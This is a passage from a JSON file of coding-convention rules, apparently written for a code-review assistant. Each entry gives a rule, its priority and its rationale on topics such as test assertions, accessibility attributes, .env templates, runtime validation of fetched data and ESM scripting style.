unnoticed and the intended behavior is undocumented. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Merging new behavior without any test leaves the path unguarded: regressions slip in unnoticed and the intended behavior is undocumented.","priority":"p1","scope":"universal"},{"title":"Prefer the official package and override peer deps instead of a fork","rule":"Don't add a fork just to widen a peer-dependency range; use the official package and override the peer dep in the package manager.","apiRule":"Don't add a fork just to widen a peer-dependency range; use the official package and override the peer dep in the package manager. Depending on a fork solely to satisfy a peer-dependency range ties you to an unmaintained mirror that will drift from the upstream package and miss its fixes. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A fork is justified when it carries real code changes you need that upstream won't accept — not merely a widened peer range.","whyItMatters":"Depending on a fork solely to satisfy a peer-dependency range ties you to an unmaintained mirror that will drift from the upstream package and miss its fixes.","priority":"p2","scope":"universal"},{"title":"Resolve cross-origin asset URLs through a base-URL helper","rule":"Assets in a library served from another origin must go through a getAssetUrl helper, or they load from the wrong domain and 404.","apiRule":"Assets in a library served from another origin must go through a getAssetUrl helper, or they load from the wrong domain and 404. A bundler asset import only produces a path; the browser resolves it against the host page's origin, so a library deployed to a separate CDN ends up requesting the asset from the consumer's domain and fails. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Easy to forget per asset; consider a lint rule or wrapper so every `.svg`/image import is guaranteed to pass through the helper. Exceptions: Not needed when the library is served from the same origin as the consuming app.","whyItMatters":"A bundler asset import only produces a path; the browser resolves it against the host page's origin, so a library deployed to a separate CDN ends up requesting the asset from the consumer's domain and fails.","priority":"p0","scope":"universal"},{"title":"Test the branch where persisted state suppresses the UI","rule":"Cover the case where stored state (localStorage/cookie/flag) hides or changes UI, not only the default first-visit path.","apiRule":"Cover the case where stored state (localStorage/cookie/flag) hides or changes UI, not only the default first-visit path. Only the default first-visit path is asserted. The branch where a stored flag should hide the popup is never exercised, so a regression there ships unnoticed. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Keep the persistence check testable at the unit it lives in — if the read happens in a wrapper/entry layer that the test can't reach, consider moving it into the component so the branch can be exercised.","whyItMatters":"Only the default first-visit path is asserted. The branch where a stored flag should hide the popup is never exercised, so a regression there ships unnoticed.","priority":"p2","scope":"universal"},{"title":"Prefer realistic user interactions over instant shortcuts in browser tests","rule":"Drive browser-mode tests like a real user (smooth scroll, real typing) unless an edge case requires specific timing.","apiRule":"Drive browser-mode tests like a real user (smooth scroll, real typing) unless an edge case requires specific timing. Instant interactions skip the intermediate states a real user passes through, so they can miss bugs that only appear during gradual interaction. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: When a bug only reproduces under a particular timing (e.g. scrolling up very quickly), deliberately use 'instant' or the precise timing that triggers it.","whyItMatters":"Instant interactions skip the intermediate states a real user passes through, so they can miss bugs that only appear during gradual interaction.","priority":"p2","scope":"universal"},{"title":"Verify a new regression test fails on the unfixed code","rule":"Confirm a bug-fix test fails against the code without the fix, proving it reproduces the bug.","apiRule":"Confirm a bug-fix test fails against the code without the fix, proving it reproduces the bug. The test was committed alongside the fix without confirming it fails on the buggy code. It may pass for unrelated reasons and would never catch the regression coming back. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. If other latent issues (e.g. a missing aria-hidden) interfere while testing on the old code, temporarily patch just enough to isolate the regression you are reproducing.","whyItMatters":"The test was committed alongside the fix without confirming it fails on the buggy code. It may pass for unrelated reasons and would never catch the regression coming back.","priority":"p1","scope":"universal"},{"title":"Remove visually-hidden interactive content from the accessibility tree","rule":"When hiding collapsible/interactive UI, set aria-hidden (alongside inert) so assistive tech doesn't expose it.","apiRule":"When hiding collapsible/interactive UI, set aria-hidden (alongside inert) so assistive tech doesn't expose it. `inert` blocks interaction and the element may look hidden, but the links remain in the accessibility tree, so screen reader users still encounter them. The visual and accessible states are out of sync. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Using `|| undefined` keeps the attribute off the DOM entirely when false, rather than rendering aria-hidden=\"false\".","whyItMatters":"`inert` blocks interaction and the element may look hidden, but the links remain in the accessibility tree, so screen reader users still encounter them. The visual and accessible states are out of sync.","priority":"p1","scope":"universal"},{"title":"Assert both before and after the action to avoid trivially-passing tests","rule":"Check the pre-condition, perform the action, then check the post-condition so the test proves a real change.","apiRule":"Check the pre-condition, perform the action, then check the post-condition so the test proves a real change. Only the end state is asserted. If the element was never present, the assertion passes even though the collapse logic does nothing, giving false confidence. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Only the end state is asserted. If the element was never present, the assertion passes even though the collapse logic does nothing, giving false confidence.","priority":"p1","scope":"universal"},{"title":"Keep .env public as a template; secrets go in .env*.local","rule":"Commit .env as a documented template with non-secret defaults; gitignore only .env*.local and put real secrets there.","apiRule":"Commit .env as a documented template with non-secret defaults; gitignore only .env*.local and put real secrets there. Gitignoring the base .env removes the documented template, and adding a separate env file per task multiplies config files. Contributors lose the single place that documents what variables exist. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. This mirrors Vite's env-file convention; reuse the standard stacked .env / .env.local naming instead of inventing per-feature env files.","whyItMatters":"Gitignoring the base .env removes the documented template, and adding a separate env file per task multiplies config files. Contributors lose the single place that documents what variables exist.","priority":"p1","scope":"universal"},{"title":"Validate external responses instead of casting to a generic type","rule":"Don't cast fetched data to a caller-supplied <T>; return unknown and validate the shape at the call site with a schema.","apiRule":"Don't cast fetched data to a caller-supplied <T>; return unknown and validate the shape at the call site with a schema. The generic <T> is a lie: the function never verifies the payload matches T, so a malformed response is typed as valid and blows up later, far from the source. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Prefer a lightweight schema library (Valibot is much smaller than Zod) for runtime validation of untrusted I/O boundaries. Exceptions: Balance against align-generic-type-assertions: at a true external/untrusted boundary, return unknown and runtime-validate rather than cast to the generic. Balance against prefer-intermediate-unknown-cast-for-generics: for untrusted external data, runtime-validate instead of casting through unknown to the target type.","whyItMatters":"The generic <T> is a lie: the function never verifies the payload matches T, so a malformed response is typed as valid and blows up later, far from the source.","priority":"p1","scope":"universal"},{"title":"Target the file path instead of adding package.json for resolution","rule":"Don't create a subfolder package.json solely to enable a bare directory import; reference the explicit entry file path instead.","apiRule":"Don't create a subfolder package.json solely to enable a bare directory import; reference the explicit entry file path instead. Adding a package.json just so a directory import resolves introduces a config file that exists for no other reason and can mask how the entry point is actually located (Node only auto-resolves index for JS, not TS). Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Adding a package.json just so a directory import resolves introduces a config file that exists for no other reason and can mask how the entry point is actually located (Node only auto-resolves index for JS, not TS).","priority":"p2","scope":"universal"},{"title":"Use Number() + isNaN to validate a whole numeric string","rule":"When the entire string must be a valid number, use Number() and an explicit Number.isNaN check rather than parseInt, which silently truncates at the first invalid char.","apiRule":"When the entire string must be a valid number, use Number() and an explicit Number.isNaN check rather than parseInt, which silently truncates at the first invalid char. parseInt stops at the first non-numeric character, so '32_1' becomes 32 and passes Number.isFinite. Malformed input is silently accepted instead of being detected. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use parseInt deliberately only when you actually want to read a leading integer and ignore a known suffix. If you reach for Number.isFinite, document which non-finite case you're guarding against. Exceptions: parseInt is appropriate when parsing a number with an intentional unit/suffix (e.g. '16px').","whyItMatters":"parseInt stops at the first non-numeric character, so '32_1' becomes 32 and passes Number.isFinite. Malformed input is silently accepted instead of being detected.","priority":"p1","scope":"universal"},{"title":"Don't log data that a later line already shows","rule":"Drop summary log lines whose information is already contained in a subsequent, more detailed log output.","apiRule":"Drop summary log lines whose information is already contained in a subsequent, more detailed log output. The per-match loop already prints each path and env, so the upfront summary lines just duplicate that information and clutter the output. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The per-match loop already prints each path and env, so the upfront summary lines just duplicate that information and clutter the output.","priority":"p2","scope":"universal"},{"title":"Use one consistent name per concept, matching the source domain","rule":"Don't invent synonyms for an existing concept; reuse the terminology the upstream API/domain already uses.","apiRule":"Don't invent synonyms for an existing concept; reuse the terminology the upstream API/domain already uses. Calling the same entity both \"template\" and \"component\" forces readers to constantly map between two names for one thing, and drifts from the source-of-truth API vocabulary. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Ubiquitous language: rename files, variables, and identifiers together when you align on a term.","whyItMatters":"Calling the same entity both \"template\" and \"component\" forces readers to constantly map between two names for one thing, and drifts from the source-of-truth API vocabulary.","priority":"p1","scope":"universal"},{"title":"Add a shebang only when the script is run directly","rule":"Don't include a #!/usr/bin/env node shebang unless the file is executable and invoked as ./script rather than via node/npm.","apiRule":"Don't include a #!/usr/bin/env node shebang unless the file is executable and invoked as ./script rather than via node/npm. If the script is always launched through `node` or an npm script and is never made executable, the shebang line is unused preamble. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep the shebang for files that are genuinely executable CLIs run directly (chmod +x and ./path or installed via package bin).","whyItMatters":"If the script is always launched through `node` or an npm script and is never made executable, the shebang line is unused preamble.","priority":"p2","scope":"universal"},{"title":"Use top-level await instead of a main() wrapper in ESM scripts","rule":"ESM supports top-level await; run entry logic at the top level rather than wrapping it in main() and immediately invoking it.","apiRule":"ESM supports top-level await; run entry logic at the top level rather than wrapping it in main() and immediately invoking it. Wrapping everything in main() and calling it adds an indirection with no benefit in an ESM module that already supports top-level await. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. A main() wrapper still makes sense if you genuinely need to export the entry function for reuse/testing, or to share a single try/catch around the whole flow. Exceptions: Keep an explicit entry function when it must be importable/testable or when targeting a CommonJS module without top-level await.","whyItMatters":"Wrapping everything in main() and calling it adds an indirection with no benefit in an ESM module that already supports top-level await.","priority":"p2","scope":"universal"},{"title":"Don't name variables after type keywords like `unknown`","rule":"Avoid TypeScript reserved/type words (unknown, any, never, object) as variable names; pick a descriptive name instead.","apiRule":"Avoid TypeScript reserved/type words (unknown, any, never, object) as variable names; pick a descriptive name instead. `unknown` is a TypeScript type keyword. Using it as a variable name is confusing and will outright break if the file is ever migrated to TypeScript. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Same caution applies to other type keywords used as identifiers (any, never, object, string, number).","whyItMatters":"`unknown` is a TypeScript type keyword. Using it as a variable name is confusing and will outright break if the file is ever migrated to TypeScript.","priority":"p2","scope":"universal"},{"title":"Don't use .mjs in an ESM project","rule":"When package.json declares \"type\": \"module\", plain .js files are ESM; avoid the redundant .mjs extension.","apiRule":"When package.json declares \"type\": \"module\", plain .js files are ESM; avoid the redundant .mjs extension. The project is already ESM, so .mjs is redundant and introduces an inconsistent extension across the codebase. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use .cjs/.mjs only when a single file needs to deviate from the package's declared module type. Exceptions: A file that must be CommonJS inside an ESM package (or vice versa) legitimately needs the explicit .cjs/.mjs extension.","whyItMatters":"The project is already ESM, so .mjs is redundant and introduces an inconsistent extension across the codebase.","priority":"p2","scope":"universal"},{"title":"Don't set ARIA attributes to their default value","rule":"Omit ARIA attributes whose value matches the ARIA default; they add noise without changing behavior.","apiRule":"Omit ARIA attributes whose value matches the ARIA default; they add noise without changing behavior. aria-atomic is already false by default, so spelling it out changes nothing and just adds visual noise. If it was added to make a test pass, the test only asserts the attribute exists, not any real behavior. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Check the ARIA spec / MDN for the default value before adding an attribute. If you genuinely need to assert accessibility behavior, assert the rendered semantics, not the mere presence of a default-valued attribute.","whyItMatters":"aria-atomic is already false by default, so spelling it out changes nothing and just adds visual noise. If it was added to make a test pass, the test only asserts the attribute exists, not any real behavior.","priority":"p2","scope":"universal"},{"title":"Make test titles precisely describe the case under test","rule":"Word test names with accurate terminology that matches the real behaviour, since the title is the case's documentation.","apiRule":"Word test names with accurate terminology that matches the real behaviour, since the title is the case's documentation. 'non-numeric' misdescribes the '1_29' input and the 'v=1' output, so the title misleads about what is actually verified. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"'non-numeric' misdescribes the '1_29' input and the 'v=1' output, so the title misleads about what is actually verified.","priority":"p2","scope":"universal"},{"title":"Don't wrap a whole test file in a redundant describe block","rule":"Skip the single top-level describe that just names the module; modern runners print the file. Use describe only for meaningful groups.","apiRule":"Skip the single top-level describe that just names the module; modern runners print the file. Use describe only for meaningful groups. The describe adds an indentation level and names nothing the file path doesn't already convey on a failure. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep describe when grouping a genuine subset of tests that share setup or a named scenario you don't want to repeat in every test name.","whyItMatters":"The describe adds an indentation level and names nothing the file path doesn't already convey on a failure.","priority":"p2","scope":"universal"},{"title":"Use a simple ternary for trivial singular/plural, not Intl.PluralRules","rule":"For a basic English singular/plural toggle, a count-based ternary is clearer than pulling in Intl.PluralRules.","apiRule":"For a basic English singular/plural toggle, a count-based ternary is clearer than pulling in Intl.PluralRules. Intl.PluralRules adds machinery for a case that doesn't need it; it shines for locale-dependent plural forms, not a fixed English 's' suffix. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Use Intl.PluralRules (or a real i18n library) when output must support multiple locales with genuinely different plural categories.","whyItMatters":"Intl.PluralRules adds machinery for a case that doesn't need it; it shines for locale-dependent plural forms, not a fixed English 's' suffix.","priority":"p2","scope":"universal"},{"title":"Mock process.exit in tests instead of mutating process.exitCode","rule":"Intercept exit via an explicit spy that throws; don't read/reassign the real process.exitCode, which can clash with the test runner.","apiRule":"Intercept exit via an explicit spy that throws; don't read/reassign the real process.exitCode, which can clash with the test runner. Mutating the real process.exitCode bleeds into the runner's own exit handling and the manual save/restore is fragile and easy to leak across tests. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Mutating the real process.exitCode bleeds into the runner's own exit handling and the manual save/restore is fragile and easy to leak across tests.","priority":"p1","scope":"universal"},{"title":"Assert on values with value-aware matchers, not on computed booleans","rule":"Replace expect(arr.some(...)).toBe(true) with matchers like arrayContaining/stringContaining/toContain so failures show the actual contents.","apiRule":"Replace expect(arr.some(...)).toBe(true) with matchers like arrayContaining/stringContaining/toContain so failures show the actual contents. When this fails it only reports 'expected false to be true', hiding what the array actually contained and making the failure hard to diagnose. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"When this fails it only reports 'expected false to be true', hiding what the array actually contained and making the failure hard to diagnose.","priority":"p1","scope":"universal"},{"title":"Use inline snapshots for long, tedious expected values","rule":"Prefer toMatchInlineSnapshot over toBe/toEqual when the expected value is long enough that hand-typing it invites transcription errors.","apiRule":"Prefer toMatchInlineSnapshot over toBe/toEqual when the expected value is long enough that hand-typing it invites transcription errors. Long literals typed by hand are easy to get subtly wrong and noisy to update when the expected output changes. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: For short, meaningful values prefer an explicit toBe/toEqual so the intent is readable without running the snapshot.","whyItMatters":"Long literals typed by hand are easy to get subtly wrong and noisy to update when the expected output changes.","priority":"p2","scope":"universal"},{"title":"Drop comments that merely restate self-documenting code","rule":"If an expression or assertion already makes its intent obvious, don't add a comment that paraphrases it.","apiRule":"If an expression or assertion already makes its intent obvious, don't add a comment that paraphrases it. The comment says nothing the assertion doesn't already say, so it's pure overhead that can drift out of sync with the code. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep comments that explain WHY, document a non-obvious format/invariant, or warn about a subtle gotcha. Balance against comment-the-why-for-edge-case-handling: drop the comment when the expression already makes its intent and reason self-evident.","whyItMatters":"The comment says nothing the assertion doesn't already say, so it's pure overhead that can drift out of sync with the code.","priority":"p2","scope":"universal"},{"title":"Don't use runtime validation libraries inside tests; assert instead","rule":"In tests, the only thing that should throw is an assertion. Narrow shapes with assertion-based helpers, not zod/valibot parse calls.","apiRule":"In tests, the only thing that should throw is an assertion. Narrow shapes with assertion-based helpers, not zod/valibot parse calls. A `parse` failure throws a library error that masks what the test meant to verify, and pulls a runtime-validation dependency into test code where it doesn't belong. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Fine to import the same validation lib the implementation uses when the test is explicitly verifying that schema's behaviour.","whyItMatters":"A `parse` failure throws a library error that masks what the test meant to verify, and pulls a runtime-validation dependency into test code where it doesn't belong.","priority":"p1","scope":"universal"},{"title":"Assert on the mock itself, not on hand-rolled capture arrays","rule":"Make assertions directly on a spy/mock's calls instead of pushing observed values into a module-level array and asserting on that.","apiRule":"Make assertions directly on a spy/mock's calls instead of pushing observed values into a module-level array and asserting on that. A module-level array plus reset bookkeeping is extra plumbing that drifts away from what the test is actually checking, and failures point at the array index rather than the request. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"A module-level array plus reset bookkeeping is extra plumbing that drifts away from what the test is actually checking, and failures point at the array index rather than the request.","priority":"p1","scope":"universal"},{"title":"Test render helpers should mirror the real production wrapper markup","rule":"Give component test harnesses the same wrapper classes/attributes the real page applies, so rendered output matches production.","apiRule":"Give component test harnesses the same wrapper classes/attributes the real page applies, so rendered output matches production. The harness drops the wrapper classes the real page applies, so the component renders without its production styling context and visual/layout-dependent assertions don't reflect reality. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If duplicating the wrapper markup in every test is unwieldy, factor a shared render helper or fixture that owns the production wrapper so tests stay in sync with the real page.","whyItMatters":"The harness drops the wrapper classes the real page applies, so the component renders without its production styling context and visual/layout-dependent assertions don't reflect reality.","priority":"p2","scope":"universal"},{"title":"Don't add unused test-only attributes to production markup","rule":"Only add data-testid/ids that have a confirmed consumer; remove speculative test hooks.","apiRule":"Only add data-testid/ids that have a confirmed consumer; remove speculative test hooks. Adding a testid that no test or tool consumes is dead configuration. It implies a contract that doesn't exist and invites copy-paste of the same unused hook elsewhere. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep the attribute when there is a real external consumer (analytics, e2e suite, embedding host) that selects on it; document that consumer if it isn't obvious from the codebase.","whyItMatters":"Adding a testid that no test or tool consumes is dead configuration. It implies a contract that doesn't exist and invites copy-paste of the same unused hook elsewhere.","priority":"p2","scope":"universal"},{"title":"Test shared variant behavior in one parameterized suite, not per-variant files","rule":"Cover behavior common to multiple variants via a single shared/parameterized test; don't test private implementation-detail subcomponents in isolation.","apiRule":"Cover behavior common to multiple variants via a single shared/parameterized test; don't test private implementation-detail subcomponents in isolation. Rendering the private MobileSquareIcons subcomponent couples the test to internal structure, and splitting the same assertion across per-variant files duplicates intent while leaving the other variant untested. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A dedicated test for a subcomponent is fine when that subcomponent is a genuinely reusable public unit with its own contract, not an internal rendering detail.","whyItMatters":"Rendering the private MobileSquareIcons subcomponent couples the test to internal structure, and splitting the same assertion across per-variant files duplicates intent while leaving the other variant untested.","priority":"p1","scope":"universal"},{"title":"Don't redefine mock handlers already provided by the default set","rule":"Use per-test mock overrides only to add or change behavior; rely on the shared default handlers otherwise.","apiRule":"Use per-test mock overrides only to add or change behavior; rely on the shared default handlers otherwise. The handler duplicates one already registered in the default set, adding noise and a second place to keep the same mock in sync. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If no default handler exists for the endpoint a test hits, define it (ideally promote it into the shared defaults rather than per-test).","whyItMatters":"The handler duplicates one already registered in the default set, adding noise and a second place to keep the same mock in sync.","priority":"p1","scope":"universal"},{"title":"Omit the xmlns attribute on inline SVG","rule":"The xmlns namespace is only needed for standalone SVG files; inline SVG in JSX/HTML should not carry it.","apiRule":"The xmlns namespace is only needed for standalone SVG files; inline SVG in JSX/HTML should not carry it. The xmlns attribute is only meaningful when an SVG document is parsed standalone as XML. Inside the HTML/JSX tree the namespace is implied, so xmlns is dead noise. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep xmlns when the markup will be serialized and served as a standalone .svg file or otherwise parsed as XML outside an HTML document.","whyItMatters":"The xmlns attribute is only meaningful when an SVG document is parsed standalone as XML. Inside the HTML/JSX tree the namespace is implied, so xmlns is dead noise.","priority":"p2","scope":"universal"},{"title":"Document the preferred/current approach, not just the most prevalent one","rule":"When describing conventions, state the intended direction (preferred vs legacy), not merely what currently appears most often.","apiRule":"When describing conventions, state the intended direction (preferred vs legacy), not merely what currently appears most often. Counting current usage misreports direction: if Tailwind is now the preferred approach and SCSS Modules are legacy, a doc that calls SCSS 'primary' steers new code the wrong way. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Pair the preferred approach with a one-line note on what the legacy path is, so readers maintaining old code aren't confused.","whyItMatters":"Counting current usage misreports direction: if Tailwind is now the preferred approach and SCSS Modules are legacy, a doc that calls SCSS 'primary' steers new code the wrong way.","priority":"p2","scope":"universal"},{"title":"Describe roles, not volatile filenames/ports, in architecture docs","rule":"Keep architecture docs at the level of responsibilities; omit incidental filenames, ports, and soon-to-be-removed helpers.","apiRule":"Keep architecture docs at the level of responsibilities; omit incidental filenames, ports, and soon-to-be-removed helpers. The filename, port, and the `build:diff`/ancestor-trace helper are all incidental and some are slated for removal. Naming them makes the doc wrong as soon as the server is renamed or the helper is dropped. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Include a concrete filename or port when the doc is a runbook/setup guide where that exact detail is the actionable information the reader needs.","whyItMatters":"The filename, port, and the `build:diff`/ancestor-trace helper are all incidental and some are slated for removal. Naming them makes the doc wrong as soon as the server is renamed or the helper is dropped.","priority":"p2","scope":"universal"},{"title":"Avoid hardcoding tool/library version numbers in prose documentation","rule":"Reference tools by name in docs; only pin a version when the version itself is the point.","apiRule":"Reference tools by name in docs; only pin a version when the version itself is the point. Every version number here is a future inaccuracy. React, Vite, Node and pnpm all move, and the prose now lies the moment any of them is bumped, with nothing forcing an update. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Pin a version when it genuinely matters, e.g. a migration guide, a known incompatibility, or a minimum required version that gates behaviour.","whyItMatters":"Every version number here is a future inaccuracy. React, Vite, Node and pnpm all move, and the prose now lies the moment any of them is bumped, with nothing forcing an update.","priority":"p2","scope":"universal"},{"title":"Prefer the upstream-recommended setup over config that only works by luck","rule":"Don't depend on a leaner build/CI configuration that merely happens to work; follow the tool's documented robust setup, since moving versions will eventually break incidental behavior.","apiRule":"Don't depend on a leaner build/CI configuration that merely happens to work; follow the tool's documented robust setup, since moving versions will eventually break incidental behavior. The lean variant works only because the current environment incidentally provides what the omitted step would install. When the runner image, the tool, or the browser version drifts, the missing system dependencies cause a hard-to-diagnose CI failure. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. The decisive question is not 'does it work right now' but 'why will it keep working'. If the answer is 'because the current environment happens to provide it', that is a fragility signal, not a justification. Exceptions: If the leaner path is genuinely required for a hard constraint (e.g. it must run without elevated privileges) and you can clearly justify why it stays correct, document that reasoning inline and accept the tradeoff knowingly.","whyItMatters":"The lean variant works only because the current environment incidentally provides what the omitted step would install. When the runner image, the tool, or the browser version drifts, the missing system dependencies cause a hard-to-diagnose CI failure.","priority":"p2","scope":"universal"},{"title":"Keep shared components context-agnostic; scope conditional behavior to the call site","rule":"Don't embed call-site-specific conditional rendering into a shared/default-export component; apply that condition where the component is used.","apiRule":"Don't embed call-site-specific conditional rendering into a shared/default-export component; apply that condition where the component is used. Sidebar-specific logic is hardcoded into the shared default export, so it silently changes behavior on every other page that reuses the component, including ones where the condition makes no sense. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the conditional behavior genuinely applies to every consumer of the component, it can live inside it — but make that universality explicit and intentional.","whyItMatters":"Sidebar-specific logic is hardcoded into the shared default export, so it silently changes behavior on every other page that reuses the component, including ones where the condition makes no sense.","priority":"p1","scope":"universal"},{"title":"Use a meaningful computed bound instead of an arbitrary magic number","rule":"When you need an extreme value (scroll to bottom, clamp, max), use the real computed bound rather than a large arbitrary number. It self-documents intent and stays correct regardless of content size.","apiRule":"When you need an extreme value (scroll to bottom, clamp, max), use the real computed bound rather than a large arbitrary number. It self-documents intent and stays correct regardless of content size. 9999 is an arbitrary guess at the bottom; it breaks for taller content and hides intent. The reader has to infer what 9999 means. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"9999 is an arbitrary guess at the bottom; it breaks for taller content and hides intent. The reader has to infer what 9999 means.","priority":"p2","scope":"universal"},{"title":"Let a web component own its base display via :host, not its consumers","rule":"A custom element should declare its own base display in :host (custom elements default to display:inline, which is almost always wrong). Consumers should only set layout they specifically need, like width.","apiRule":"A custom element should declare its own base display in :host (custom elements default to display:inline, which is almost always wrong). Consumers should only set layout they specifically need, like width. The component leaves its base display to consumers, so each one repeats display:block to undo the inline default. The component's own concern leaks into every consumer. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"The component leaves its base display to consumers, so each one repeats display:block to undo the inline default. The component's own concern leaks into every consumer.","priority":"p2","scope":"stack-specific"},{"title":"Define reusable graphics in an SVG sprite as <symbol>, not bare elements","rule":"In an SVG sprite, wrap each reusable graphic in a <symbol> with its own id and viewBox, then render it via <use>. Bare elements can't be referenced and reused cleanly.","apiRule":"In an SVG sprite, wrap each reusable graphic in a <symbol> with its own id and viewBox, then render it via <use>. Bare elements can't be referenced and reused cleanly. A bare <g> in the sprite has no viewBox and isn't meant to be referenced with <use>, so consumers can't scale or reuse it predictably. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"A bare <g> in the sprite has no viewBox and isn't meant to be referenced with <use>, so consumers can't scale or reuse it predictably.","priority":"p2","scope":"stack-specific"},{"title":"Don't repeat the category in an identifier the context already implies","rule":"Within a collection that is already scoped to a type (an icon set, a colors map, an enum), don't suffix each member with that type. The context supplies it; the suffix is redundant.","apiRule":"Within a collection that is already scoped to a type (an icon set, a colors map, an enum), don't suffix each member with that type. The context supplies it; the suffix is redundant. Every key repeats -icon even though the object is already named icons. The suffix carries no information and lengthens every reference. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep the suffix when identifiers leave their scope and become ambiguous on their own (e.g. global DOM ids that must stay unique and self-describing).","whyItMatters":"Every key repeats -icon even though the object is already named icons. The suffix carries no information and lengthens every reference.","priority":"p2","scope":"universal"},{"title":"Drop optional chaining once a value is narrowed to non-null","rule":"After a guard or narrowing has guaranteed a value is present, access it directly. Leftover optional chaining implies it might still be nullish and adds noise.","apiRule":"After a guard or narrowing has guaranteed a value is present, access it directly. Leftover optional chaining implies it might still be nullish and adds noise. After the early return, user is definitely defined, so user?.name keeps suggesting it could be undefined and misleads the reader. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: Keep optional chaining for fields that are genuinely still optional after narrowing. Balance against prefer-optional-chaining-for-nested-access: drop the ?. once a guard or narrowing has already proven the value is present.","whyItMatters":"After the early return, user is definitely defined, so user?.name keeps suggesting it could be undefined and misleads the reader.","priority":"p2","scope":"stack-specific"},{"title":"Don't pass values a function can already reach from its scope","rule":"If a function can read a value from config, closure, or module scope, don't also accept it as a parameter. The extra parameter is redundant and can drift out of sync with the real source.","apiRule":"If a function can read a value from config, closure, or module scope, don't also accept it as a parameter. The extra parameter is redundant and can drift out of sync with the real source. isLocal is already reachable via config, so passing it in duplicates the source of truth and forces every caller to supply it. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Keep the parameter when the value genuinely varies per call or when you want the function pure/testable without reaching into shared config.","whyItMatters":"isLocal is already reachable via config, so passing it in duplicates the source of truth and forces every caller to supply it.","priority":"p2","scope":"universal"},{"title":"Don't import types that are already available globally","rule":"Skip explicit imports for types your tooling already exposes globally (e.g. React's JSX/React types under the automatic runtime). The import is dead noise.","apiRule":"Skip explicit imports for types your tooling already exposes globally (e.g. React's JSX/React types under the automatic runtime). The import is dead noise. With the automatic JSX runtime and global React types configured, importing ReactNode adds a redundant line that the project setup already provides. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Confirm your tsconfig/JSX setup actually exposes the types globally before dropping the import.","whyItMatters":"With the automatic JSX runtime and global React types configured, importing ReactNode adds a redundant line that the project setup already provides.","priority":"p2","scope":"stack-specific"},{"title":"Delete original code after migrating its functionality","rule":"When functionality is moved or extracted to a new home, remove the now-unused originals in the same change rather than leaving orphaned dead 